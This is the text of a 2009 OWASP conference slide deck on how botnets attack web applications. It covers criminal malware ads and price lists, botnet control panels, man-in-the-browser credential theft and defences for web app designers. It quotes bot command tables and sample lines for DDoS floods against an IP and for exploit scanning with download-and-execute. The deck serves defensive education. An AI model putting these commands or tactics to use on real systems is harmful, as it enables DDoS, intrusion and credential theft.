Clubbing WebApps with a Botnet

Gunter Ollmann
VP, Research
Damballa
gunter@damballa.com

AppSec DC

The OWASP Foundation
http://www.owasp.org
Clubbing WebApps with a Botnet

Gunter Ollmann - VP of Research
gollmann@damballa.com

• Gunter Ollmann
  – VP of Research, Damballa Inc.

• Damballa Inc.
  – Atlanta based security company focused on enterprise detection and prevention of targeted threats

• Brief Bio:
  – Been in IT industry for two decades – over half of which has been 100% employed in security. Built and run international pentest teams, R&D groups and consulting practices around the world.
  – Formerly Chief Security Strategist for IBM, Director of X-Force for ISS, Professional Services Director for NGS Software, Head of Attack Services EMEA, etc.
  – Frequent writer, columnist and blogger with lots of whitepapers...
Today...

- **Lay of the land**
  - Why botnets?
  - What’re they doing?
  - What’s it look like?

- **Attacking Web applications**
  - Fooling the end-user
  - Launching SQL Injection attacks
  - Brute-force ➔ Avalanche attacks

- **Better WebApp design considerations**
• This is OWASP – who cares about malware?
  – Need to answer “why” someone breaks a Web application...
  – “How” is tied to ease and probability of success

• The world we live in...
  – Iframe injections – avg. 100,000+ “defacements” per week
  – Larger attacks of up to 1.5m SQL Injection-based “defacements”
  – Botnets and their agents – somewhere between 10-200m
    • Storm “worm” of up to 10m bots...
    • I think the estimates are too high – probably in the realm of 4m-12m worldwide (once you remove multiple pwn3d hosts)
  – Identity information can be purchased from as little as 5 cents per record
Keeping tabs on the beast
Malware Author vs Botnet Masters

- Malware and their authors are typically suppliers/employees of botnet masters
- Malware is part of the cyber-criminal toolset

Malware Author(s)
- Professional software engineers
- MSc/PhD caliber individuals
- Develop commercial-grade tools
- Often develop “dual-use” software
  - Straddle the legal line
  - Only illegal if you use them...
- Typical production:
  - DIY malware creator tools
  - Obfuscation and evasion technologies
  - Custom malware designs

Botnet Master(s)
- 60:40 Split
  - Organized cyber-criminals
  - New-age script kiddies and would-be entrepreneurs
- Not as technically proficient as malware authors – unless botnet master is also the malware author (~10%)
- Strong links to traditional fraud and money-laundering organizations
- Know that what they’re doing is illegal
Malware huh?

- Malware is a tool for professionals
- How big is the malware industry?
  - Q3’09 = 30k-50k new and unique samples daily...
  - ...and that’s just what gets caught
- Serial variants are a business
- Botnets use malware with CnC

Malware Name | Top-10 USA
--- | ---
Zeus | 3,600,000
Koobface | 2,900,000
Tidesrv | 1,500,000
Trojan.Fakeavalert | 1,400,000
TR/Dldr.Agent.JKH | 1,200,000
Monkif | 520,000
Hamweq | 480,000
Swizzor | 370,000
Gemmima | 230,000
Conficker | 210,000
How big is big?

- **Think of botnets as a “cloud”**
  - 20+ million active bot agents talking/participating in botnets
  - Largest botnet infections?
    - Conficker infections 2.4m–8.9m over 4 days

- **Storm – peaked at 1.7m infected PC’s**
  - First detected back in January 2007
  - First to initiate attacks against researchers
  - First to encrypt its instructions
• Why is malware important to Web application security?
  1. It makes secrets impossible
  2. You can’t trust your users
  3. Vehicle for automated attack

• Not factoring it in to the design will cause a lot of pain later...
• **What’s the malware doing today?**
  – Bypassing client-side authentication to apps
  – Spoofing content on the users behalf
  – Impersonating large groups of users simultaneously
  – Anonymous & globally proxied attacks
  – Distributed attacks & federated problem solving
  – Efficiently brute-forcing stuff
Why target Web applications?

• Web applications are where the money is...
  – Online Banking
    • Funds transfers and money laundering
  – Online Shopping
    • Purchase fraud, money laundering and supply chain
  – News/Information Portals
    • SEO attacks, money market manipulation & recruitment
  – Joe’s Boring Page
    • Infection & recruitment vectors and PII fire-sale
Application Complexity

• How many steps must the user go through?
• How do they know if a new step has been introduced?
• How are error messages handled?
• What gets in the way of just “doing it”?
What crimeware are criminals using?
• Tools that speed up the defacement process
  – Not necessarily targeted
SQL Injection Attack Tools

- Automatic page rank verification
- Search engine integration for finding "vulnerable" sites
- Prioritization of results based on probability for successful injection
- Reverse domain name resolution
- etc.

11/16/2009

Clubbing WebApps with a Botnet
How do botnets factor in to this?
The botnet advantage

- The use of botnets in attacking Web applications holds several advantages...
  - Anonymity
    - Chaining of several agents to disguise source of attack
  - Dispersed hosts
    - Slipping under threshold limits
  - The power of many
    - A force multiplier
  - Native automation
    - Advanced scripting engines & user manipulation
Anonymity through botnet agents

Many tools and services rely upon compromised hosts (typically botnet agents) to provide SOCKS proxies as anonymous exit/jump points.
Anonymity Services

SOCKS chaining

A method of chaining multiple compromised machines together to anonymously tunnel data.

Starting from $40 and going to $300 for a quarter of access, with the price increasing based on the level of anonymity added.

11/16/2009
Web-based portal bot-management
For a small fee, attackers can rent/purchase members of a larger botnet.
Online tools enable remote management and configuration of the botnet agents
Portals include performance monitoring tools – how fast is the spam being sent, DDoS throughput, etc.
### Sniffer

**Bot:** any smtp www http debug

**Civilized bots**

*Free bots*

**Stats**

*Settings*

*Debug logs*

*Update logs*

---

**Free bots**

<table>
<thead>
<tr>
<th>ID</th>
<th>Version</th>
<th>S</th>
<th>MX</th>
<th>Ip</th>
<th>Serial</th>
<th>Last seen</th>
</tr>
</thead>
<tbody>
<tr>
<td>17971</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>1.8</td>
<td>7002-190E</td>
<td>0 seconds</td>
</tr>
<tr>
<td>18001</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>2.103</td>
<td>A86C-66BC</td>
<td>0 seconds</td>
</tr>
<tr>
<td>19406</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>255.44</td>
<td>2124-7C53</td>
<td>0 seconds</td>
</tr>
<tr>
<td>20689</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>86.62</td>
<td>0707-565F</td>
<td>0 seconds</td>
</tr>
<tr>
<td>21179</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>72.16</td>
<td>4BE4-E459</td>
<td>0 seconds</td>
</tr>
<tr>
<td>22340</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>90.129</td>
<td>287D-8EC2</td>
<td>0 seconds</td>
</tr>
<tr>
<td>23199</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>3.60</td>
<td>C885-66AC</td>
<td>0 seconds</td>
</tr>
<tr>
<td>23247</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>1.140</td>
<td>4697-1209</td>
<td>0 seconds</td>
</tr>
<tr>
<td>25183</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>0.1105</td>
<td>3440-BBAE</td>
<td>0 seconds</td>
</tr>
<tr>
<td>25692</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>174.205</td>
<td>18F2-22EF</td>
<td>0 seconds</td>
</tr>
<tr>
<td>27778</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>3.76</td>
<td>EC6B-F5F7</td>
<td>0 seconds</td>
</tr>
<tr>
<td>28212</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>0.51</td>
<td>3C29-FCE8</td>
<td>0 seconds</td>
</tr>
<tr>
<td>28777</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>43.120</td>
<td>A40F-290D</td>
<td>0 seconds</td>
</tr>
<tr>
<td>29308</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>62.50</td>
<td>782A-E23E</td>
<td>0 seconds</td>
</tr>
<tr>
<td>30668</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>94.21</td>
<td>2092-335B</td>
<td>0 seconds</td>
</tr>
<tr>
<td>31217</td>
<td>14</td>
<td>✔</td>
<td>✔</td>
<td>65.223</td>
<td>0053-BCAE</td>
<td>1 second</td>
</tr>
<tr>
<td>17115</td>
<td>15</td>
<td>✔</td>
<td>✔</td>
<td>40.199</td>
<td>45C4-FBFF</td>
<td>1 second</td>
</tr>
</tbody>
</table>

---

*Take over*

Total: 31008 Page: 1 2 3 ... 310 311 Show: 50 200 per page

---

11/16/2009  Clubbing WebApps with a Botnet

---

Clubbing WebApps with a Botnet
## Current Tasks

<table>
<thead>
<tr>
<th>Task Name</th>
<th>Description</th>
<th>Priority Performed</th>
<th>Speed</th>
<th>State</th>
<th>Type</th>
<th>Delivered Letters</th>
<th>Recipient not found</th>
<th>Total addresses count</th>
<th>Running Time</th>
<th>Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>CASh</td>
<td></td>
<td>1</td>
<td>51.3%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>97469</td>
<td>52825</td>
<td>306203</td>
<td>0</td>
<td>Info</td>
</tr>
<tr>
<td>relite</td>
<td>http://</td>
<td>2</td>
<td>6.0%</td>
<td>Queued</td>
<td>Direct Sending</td>
<td></td>
<td></td>
<td>306204</td>
<td>0</td>
<td>Delete</td>
</tr>
<tr>
<td>audit</td>
<td>/index.htm</td>
<td>2</td>
<td>0.0%</td>
<td>Queued</td>
<td>Direct Sending</td>
<td></td>
<td></td>
<td>306204</td>
<td>0</td>
<td>Delete</td>
</tr>
<tr>
<td>finish</td>
<td>http://</td>
<td>2</td>
<td>15.8%</td>
<td>Running</td>
<td>Direct Sending</td>
<td>24596</td>
<td>23835</td>
<td>306204</td>
<td>0:14:35</td>
<td>Stop</td>
</tr>
<tr>
<td>jobov</td>
<td>/index.htm</td>
<td>2</td>
<td>53.3%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>97556</td>
<td>55895</td>
<td>306203</td>
<td>0</td>
<td>Info</td>
</tr>
<tr>
<td>boxa</td>
<td>http://</td>
<td>1</td>
<td>48.0%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>85033</td>
<td>64800</td>
<td>306204</td>
<td>0</td>
<td>Info</td>
</tr>
<tr>
<td>pm</td>
<td>http://</td>
<td>2</td>
<td>49.0%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>84083</td>
<td>66076</td>
<td>306204</td>
<td>0</td>
<td>Info</td>
</tr>
<tr>
<td>ip</td>
<td>/index.htm</td>
<td>2</td>
<td>51.3%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>90932</td>
<td>57852</td>
<td>306203</td>
<td>0</td>
<td>Info</td>
</tr>
<tr>
<td>cros</td>
<td>/index.htm</td>
<td>2</td>
<td>51.3%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>91073</td>
<td>65864</td>
<td>306204</td>
<td>0</td>
<td>Info</td>
</tr>
<tr>
<td>http://</td>
<td>/index.htm</td>
<td>2</td>
<td>49.1%</td>
<td>Finished</td>
<td>Direct Sending</td>
<td>93662</td>
<td>59620</td>
<td>306203</td>
<td>0</td>
<td>Info</td>
</tr>
</tbody>
</table>

## Main System State

- Number Of Bots: 1872
- Number Of RS: 1
- Number Of Working RS: 1

### Bots by OS
- Win XP: 462

### Bots by Version
- v66: 121
- v66-1.551: 361

### Task Speed Graph
- Number of Delivered Letters vs. Task Running Time (in Minutes)

### Bots by Count
- Total Bots: 1872
- Active Bots: 428
- p2p Bots: 311
- Ftp Bots: 428
- Other Bots: 315
Getting Started with Malware...
RAT – The Rat! v9.0XP

NEW!!!

The Rat! - Keylogger is enhanced.
- Support for Windows XP (Windows 98 also supported by earlier versions).
- Fully in Russian!
- The assembly code and technology, the so-called "Hackers program".
- Tiny size (about 12 kb!!!).
- Full definition keymapping (recognizes all - from russkogo to Chinese!)
- Tracking by pressing the keys in the password boxes and consoles.
- Tracking the clipboard (Clipboard) - the full version.
- Screens for the recruitment of certain words (flexible configuration), a specific interval.
- A powerful mechanism for the compression of screenshots and save all the information in a log file.
- Invisibility in the processes for all! know protsessvyuverov.
- Invisibility on the roster.
- Rely on the firewall (FireWall) and anti-virus programs.
- A detailed log file.
- Log encryption and sending it to the specified e-mail.
- Setting the time of activation and time-stopping removal.
- Remove the specified time without a trace, and reboot.
- Convenient and easy to configure.
- Ability to save settings in *. ini files.
- Related programs: FileConnector - skrepetil files, RatExtractor - for processing the log is now included in komplet the full version.
- Help in the format *. chm - very detailed.

Prices in WebMoney
The Rat! 9.0XP – 35 WMZ
The Rat! 8.1XP
The Rat! 7.0XP - 29 WMZ
The Rat! 6.0XP/6.1 - 22 WMZ
The Rat! 5.8XP - 15 WMZ
The Rat! 5.5XP - 13 WMZ
The Rat! 5.0XP - 9 WMZ
The Rat! 4.0XP - 8 WMZ
The Rat! 3.xx - 7 WMZ
The Rat! 2.xx - 6 WMZ

Clubbing WebApps with a Botnet
Trojan Creator Kits

- Constructor/Turkojan

V.4 New features
- Remote Desktop
- Webcam Streaming
- Audio Streaming
- Remote passwords
- MSN Sniffer
- Remote Shell
- Advanced File Manager
- Online & Offline keylogger
- Information about remote computer
- Etc..

Bronze Edition
- This product is the improved version of Turkojan 3.0 and it has some limitations (Webcam - audio streaming and msn sniffer doesn't work for this version)
- 1 month replacement warranty if it gets dedected by any antivirus
- 7/24 online support via e-mail
- Supports only Windows 95/98/ME/NT/2000/XP
- Realtime Screen viewing (controlling is disabled)

Price: $99 (United State Dollar)

Silver Edition
- 4 months (maximum 3 times) replacement warranty if it gets dedected by any antivirus
- 7/24 online support via e-mail and instant messengers
- Supports 95/98/ME/NT/2000/XP/Vista
- Webcam streaming is available with this version
- Realtime Screen viewing (controlling is disabled)
- Notifies changements on clipboard and save them

Price: $179 (United State Dollar)

Gold Edition
- 6 months (unlimited) or 9 months (maximum 3 times) replacement warranty if it gets dedected by any antivirus (you can choose 6 months or 9 months)
- 7/24 online support via e-mail and instant messengers
- Supports Windows 95/98/ME/NT/2000/2003/XP/Vista
- Remote Shell (Managing with Ms-Dos Commands)
- Webcam - audio streaming and msn sniffer
- Controlling remote computer via keyboard and mouse
- Notifies changements on clipboard and save them
- Technical support after installing software
- Viewing pictures without any download (Thumbnail Viewer)

Price: $249 (United State Dollar)
Hire-a-Malware-Coder (Custom Build)

Platform: software running on MAC OS to Windows
Multitasking: have the capacity to work on multiple projects
Speed and responsibility: at the highest level
Pre-payment for new customers: 50% of the whole price, 30% pre-pay of the whole price for repeated customers
Rates: starting from 100 euros

I can also offer you another deal, I will share the complete source code in exchange to access to a botnet with at least 4000 infected hosts because I don't have time to play around with me bot right now.
• Other models exist for hire-a-malware-coder pricing

• Component/functionality based pricing
  - Loader €300
  - FTP & Grabber €150
  - Assembler Spam bases €220
  - Socks 4/5 €70
  - Botnet manager €600
  - Scripts €70
  - Assembler password stealers (IE, MSN, etc.) €70
  - AV-remover €70
  - Screen-grabber €70
Buying botnets...

### Prices for 1k harvests:

<table>
<thead>
<tr>
<th>Country</th>
<th>Price for 1k</th>
</tr>
</thead>
<tbody>
<tr>
<td>AU</td>
<td>300$</td>
</tr>
<tr>
<td>DE</td>
<td>220$</td>
</tr>
<tr>
<td>GB</td>
<td>210$</td>
</tr>
<tr>
<td>IT</td>
<td>200$</td>
</tr>
<tr>
<td>CA</td>
<td>200$</td>
</tr>
<tr>
<td>ES</td>
<td>200$</td>
</tr>
<tr>
<td>US</td>
<td>110$</td>
</tr>
<tr>
<td>BG</td>
<td>100$</td>
</tr>
<tr>
<td>DK</td>
<td>100$</td>
</tr>
<tr>
<td>FR</td>
<td>100$</td>
</tr>
<tr>
<td>PT</td>
<td>100$</td>
</tr>
<tr>
<td>NL</td>
<td>100$</td>
</tr>
<tr>
<td>NO</td>
<td>80$</td>
</tr>
<tr>
<td>SE</td>
<td>70$</td>
</tr>
<tr>
<td>BR</td>
<td>60$</td>
</tr>
<tr>
<td>TR</td>
<td>60$</td>
</tr>
<tr>
<td>RU</td>
<td>50$</td>
</tr>
</tbody>
</table>

Order now
Looking for a soft target?
Intercepting Traffic – Man-in-the-browser

Man-in-the-browser
Malware hooks inside the Web browser

System Reconfiguration
DNS Settings, Local HOST file, Routing tables, WPAD and Proxy settings

Trojan Application
Local Proxy Agent

OS Hooking
Keyloggers, Screen grabber

TCP/IP Stack Interception
Packet inspection, pre/post SSL logging

Traditional Malware
Operates and intercepts data at points through which the Web browser must communicate
API Hooking Malware

Clean System

Application
The Web browser

WinInet
httpsendrequest(), navigateto()

Winsock
TCP/IP stack

Internet

Infected System

Application
The Web browser

Malware
Proxying Web browser data

WinInet
httpsendrequest(), navigateto()

Winsock
TCP/IP stack

Internet

Manipulate
Copy, redirect, script, change, insert, sell.
MITB – Grabbing Login Credentials

• Steal login credentials, and ask for more...

  - Pre-login
    First page of login sequence is manipulated

  - Login
    Multiple fields & pages added to the login sequence

  - Post-login
    Authenticated user asked additional security questions

• Requests for additional data are easy to socially engineer
  - Ask for credit/debit card details, including PIN and CVV
  - Additional “security” questions – SSN, mothers maiden name, address, home phone number, mobile/cell phone number
  - Type in all numbers of one-time-keypad scratch-card
  - “Change password” for anti-keylogging partial-password systems
  - “Test” or “resynchronize” password/transaction calculators

• SSL/TLS encryption bypassed, “padlock” intact

11/16/2009 Clubbing WebApps with a Botnet
Using a botnet to attack...
## IRC CnC – Host Controls

### Agobot

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>harvest.cdkeys</td>
<td>Return a list of CD keys</td>
</tr>
<tr>
<td>harvest.emails</td>
<td>Return a list of emails</td>
</tr>
<tr>
<td>harvest.emailhttp</td>
<td>Return a list of emails via HTTP</td>
</tr>
<tr>
<td>harvest.aol</td>
<td>Return a list of AOL specific information</td>
</tr>
<tr>
<td>harvest.registry</td>
<td>Return registry information for specific registry</td>
</tr>
<tr>
<td>harvest.windowskeys</td>
<td>Return Windows registry information</td>
</tr>
<tr>
<td>pctl.list</td>
<td>Return list of all processes</td>
</tr>
<tr>
<td>pctl.kill</td>
<td>Kill specified process set from service file</td>
</tr>
<tr>
<td>pctl.listsvc</td>
<td>Delete a service of all services that are running</td>
</tr>
<tr>
<td>pctl.killsvc</td>
<td>Kill specified process</td>
</tr>
<tr>
<td>inst.asadd</td>
<td>Add an autostart entry</td>
</tr>
<tr>
<td>inst.asdel</td>
<td>Delete an autostart entry</td>
</tr>
<tr>
<td>inst.svccadd</td>
<td>Adds a service to SCM</td>
</tr>
<tr>
<td>inst.svcdel</td>
<td>Delete a service from SCM</td>
</tr>
</tbody>
</table>

### SpyBot

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>delete &lt;filename&gt;</td>
<td>Delete a specified file</td>
</tr>
<tr>
<td>execute &lt;filename&gt;</td>
<td>Execute a specified file</td>
</tr>
<tr>
<td>rename &lt;origfilename&gt; &lt;newfile&gt;</td>
<td>Rename a specified file</td>
</tr>
<tr>
<td>makedir &lt;dirname&gt;</td>
<td>Create a specified directory</td>
</tr>
<tr>
<td>startkeylogger</td>
<td>Starts the on-line keylogger</td>
</tr>
<tr>
<td>stopkeylogger</td>
<td>Stops the keylogger</td>
</tr>
<tr>
<td>sendkeys &lt;keys&gt;</td>
<td>Simulates key presses</td>
</tr>
<tr>
<td>keyboardlights</td>
<td>Flashes remote keyboard lights 50x</td>
</tr>
<tr>
<td>passwords</td>
<td>Lists the RAS passwords in Windows 9x systems</td>
</tr>
<tr>
<td>listprocesses</td>
<td>Return a list of all running processes</td>
</tr>
<tr>
<td>killprocess &lt;processname&gt;</td>
<td>Kills the specified process</td>
</tr>
<tr>
<td>threads</td>
<td>Returns a list of all running threads</td>
</tr>
<tr>
<td>killthread &lt;number&gt;</td>
<td>Kills a specified thread</td>
</tr>
<tr>
<td>disconnect &lt;number&gt;</td>
<td>Disconnect the bot for number seconds</td>
</tr>
<tr>
<td>reboot</td>
<td>Reboot the system</td>
</tr>
<tr>
<td>cd-rom &lt;0/1&gt;</td>
<td>Open/close cd-rom. cd-rom 1 = open, cd-rom 0 = close</td>
</tr>
<tr>
<td>opencmd</td>
<td>Starts cmd.exe (hidden)</td>
</tr>
<tr>
<td>cmd &lt;command&gt;</td>
<td>Sends a command to cmd.exe</td>
</tr>
</tbody>
</table>

### SDbot

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>download &lt;url&gt; &lt;dest&gt; &lt;action&gt;</td>
<td>Downloaded specified file and execute if action is 1</td>
</tr>
<tr>
<td>killthread &lt;thread#&gt;</td>
<td>Kill specified thread</td>
</tr>
<tr>
<td>update &lt;url&gt; &lt;id&gt;</td>
<td>If bot ID is different than current, download “sdbot executable” and update</td>
</tr>
<tr>
<td>sysinfo</td>
<td>List host system information (CPU/RAM/OS and uptime)</td>
</tr>
<tr>
<td>execute &lt;visibility&gt; &lt;file&gt; parameters</td>
<td>Run a specified program (visibility is 0/1)</td>
</tr>
<tr>
<td>cdkey/getcdkey</td>
<td>Return keys of popular games e.g., Halflife, Soldier of Fortune etc.</td>
</tr>
</tbody>
</table>
Botnet Command and Control

- IRC Command and Control is still very popular for botnet management
- Command language varies upon nature of botnet capabilities

Sample bot command sequence

**Sdbot/Reptile**
1. `udp 208.43.216.195 1995 999999999999 --s`
2. `ddos.ack 208.43.216.195 1995 999999999999 --s`
   ...typically used for DDoS

**Rbots**
1. `scan.start ms08_067_netapi 25 3 download+exec x.x.x.x`
2. `scan 75 1 201.x.x.x 2 201.x.x.x`
3. `root.start lsass_445 100 3 0 -r -s`
   ...scan hosts within a Class-A for port 443 and attempt to exploit (Conflicker)
DDoS Mechanics

1. Hosts infected with malware via drive-by-download

2. At a specified date & time they launch their attack

3. Combined volume of attack traffic causes the target to stop functioning

5,000 home DSL users launching a simultaneous attack can create:
* 1.3 Gbps traffic volume,
* 150m emails per hour,
* 250k transactions per second
DDoS Tools

Clubbing WebApps with a Botnet
• Brute force tactics dependent upon application
  – Horizontal and vertical brute forcing
• Consider 80,000 botnet
  – $200 per 24 hours
  – 30rps per bot
  – 207,360,000,000 guesses per day
Botnet SQL Injection (SQLi)

Botnet Master

New exploit available

CnC
Server

Attack sites vulnerable to ....
.... inject the following iFrame ...

Query search engine for vulnerable servers

Google

Compile list of targets

Try to exploit server

Inject iFrame

Next target...

11/16/2009

Clubbing WebApps with a Botnet
Automated SQL Injection with search engines

- Several commercial SQL Injection tools make use of backend services/C&C to receive latest exploits

11/16/2009

11/16/2009

Clubbing WebApps with a Botnet
Botnet Master

CnC Server actions:
1. Query Google
2. Compile list of targets
3. Batch targets
4. Issue batches
5. Manage batch results

New exploit available

Botnet SQL Injection (newer)

Clubbing WebApps with a Botnet
Blind SQLi

• Very slow to enumerate a database
  – Pentesters and tools may “prove” the vulnerability exists – but too time consuming to do it for real

• Add botnet agents to the mix...
  – 10,000 bot agents
  – Parallel SQLi on a single host = ~30 rps (4 rps SSL)
  – $1.08 \times 10^9 \text{ rph}$
    (1.44 $\times 10^8 \text{ rph SSL}$)
Where Botnets Excel...

- When attacking Web applications, botnets excel at:
  - Application saturation
  - Brute-forcing & iterative processing
  - Bypassing threshold protection
  - Intercepting user credentials
  - Automating user processes
  - Prompt attacks against newly disclosed vulnerabilities
Along for the botnet ride?
What can you do about this threat?
Protection Improvement
Mindset

• Most important factor? – reduce complexity
  – Is it likely additional pages or fields would be spotted by a customer?
  – Is it clear to the customer what’s expected of them?
  – How many pages must customers navigate through or scroll through?
  – Are all the steps logical?
  – Are important questions and steps presented as text or as graphics?
  – How would a customer recognize changes to page content?
  – Could the interface be simplified further?
Location Limitations

• Geographically distributed attacks
  – Multiple requests from very different locations
  – DHCP churn can affect sources as well (depending on length of attack)

• Can’t really block by country or netblock

• IP churn may result in wrong customers being blocked during prolonged attacks

• Optimal Response...
  *Throttling responses based upon IP/browser combo* + maintaining state
• Can the customer change everything online?
  – Address details, delivery details, contact numbers, PIN numbers, passwords, password recovery questions, new accounts, etc.

• What out-of-band verification of changes are there?
  – Change notification sent to previous contact details?
  – Are there delays before going “live”?

• How visible are customer initiated changes?
  – What contact info has changed?
  – Change history goes back how far?

• Transaction history in HTML and Print/PDF for reconciliation?

Obtain A New Password - Step 2 of 2

Step 2: Provide the following information. (All fields are required. You may use your tab key to move.

Work Phone Number:

Last 4 digits of your Social Security Number:

Zip code for your billing address:

Create a Password:

New Password: Your Password must:

• be 6 to 8 characters in length - at least one letter and one number
• not have spaces nor special characters (e.g &,*,$)
• be different from your User ID
• be different from your current Password

Re-Enter Password:
• How much protection/detection can be done with “backend” thresholds?
  – Does the system implement thresholds on transactions per minute?
  – Is there a delay between creation of a new “payee” account, and ability to transfer money to that account?

• Anomaly detection of transfers?
  – Is information being shared on To: accounts?
  – Frequency of To: account by other customers
  – Could you identify a frequent mule account?

• Identity Changes?
  – Primary contact number changing to cellphone?
Threat Trends

• Botnets are...
  – getting bigger,
  – getting smarter,
  – more resilient,
  – making more money.

• Major scaling factor
  – Just how fast can someone brute-force access?
  – What kinds of threshold triggers are needed for automated defense/response?
Conclusions

- Application complexity is a root-cause
- Vigilance in monitoring applications and patching
- Increased investment by criminals in to new crimeware tools

- *Crimeware is a bigger Webapp threat than some angry pentester...*
• Continuing Business with Malware Infected Customers
  – http://www.technicalinfo.net/papers/MalwareInfectedCustomers.html

• Anti-fraud Image Solutions
  – http://www.technicalinfo.net/papers/AntiFraudImageSolutions.html
Thank You!

Questions?

Clubbing WebApps with a Botnet

Günter Ollmann – VP Research, Damballa